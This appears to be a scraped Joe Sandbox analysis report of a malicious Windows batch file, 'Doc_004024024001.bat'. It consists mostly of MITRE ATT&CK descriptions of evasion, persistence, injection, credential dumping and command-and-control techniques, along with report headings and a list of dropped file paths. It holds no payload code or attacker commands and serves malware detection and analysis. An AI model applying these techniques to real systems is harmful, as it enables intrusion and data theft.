Instruction ID: 0b31d73948f14fa9359a43cf3efee72eb6468b9a207b8263ed6b1b0a434b0979
Opcode Fuzzy Hash: dd7a2348cc0de797a0ded2c692cc13452f2128c4f2d6d2a7138fc5132d1c7acf
Instruction Fuzzy Hash: D3410272A00742ABC720DE65CC41F56B7B5FF94710F1406A9FA64EB280EB31F9528BD5

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Doc_004024024001.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bc32zhws.imz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fy3mpi5u.ni3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocinpzcp.ykt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tkjrsfcx.y4n.ps1

C:\Users\user\AppData\Local\Temp\s5497I81

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5XGY2TGM0TXXOAVV8K1P.temp

C:\Users\user\AppData\Roaming\Stregmaalene.Dis

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

Windows Analysis Report
Doc_004024024001.bat

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre